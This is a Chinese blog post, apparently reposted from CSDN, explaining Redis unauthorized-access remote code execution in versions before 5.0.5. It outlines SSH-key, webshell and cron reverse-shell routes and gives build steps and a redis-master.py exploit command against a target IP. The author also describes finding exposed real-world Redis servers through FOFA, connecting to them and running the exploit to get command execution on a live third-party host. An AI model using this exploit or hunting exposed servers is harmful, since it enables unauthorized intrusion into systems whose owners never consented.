Redis 4.x/5.0.5以前未授权访问rce

Redis 4.x/5.0.5以前未授权访问rce

关于redis未授权访问漏洞,网上已经有一大堆的利用方式了,
默认端口:6379,未授权密码一般为空,也有可能存在弱口令
未授权访问利用方式基本分为三种~~
第一种:ssh免密登录

  • 需要开启ssh服务
  • 需要/root/.ssh或其他.ssh能写入

第二种:直接写入webshell

  • 开启web服务
  • 需要知道网站绝对路径
  • 具有对文件操作的权限

第三种:定时任务反弹shell

  • 需要root权限
  • 知道定时计划的路径,如/var/spool/cron

用fofa搜了一波,其实是存在很多redis未授权的:
在这里插入图片描述
直接使用redis-cli -h x.x.x.x即可连接进入,输入info:
在这里插入图片描述
真实环境,连接看看就行,,,,,
回到正题:Redis 4.x/5.0.5以前未授权访问rce漏洞
原理:Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
利用脚本:https://github.com/vulhub/redis-rogue-getshell
使用之前需要编译一下生成exp.so:

cd RedisModulesSDK/
make

之后便可执行脚本:

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"

这里利用fofa找到一个版本相符合的(版本符合也不一定能执行命令),版本4.0.11:
在这里插入图片描述
运行脚本,可以得到命令执行的结果:
在这里插入图片描述
真实环境,点到为止~~
有啥描述得不对的地方,欢迎各位大佬指出~~

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/111599250